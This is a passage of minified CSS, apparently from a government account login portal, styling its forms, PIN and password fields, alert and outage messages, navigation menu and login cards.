fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service .pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and (min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth 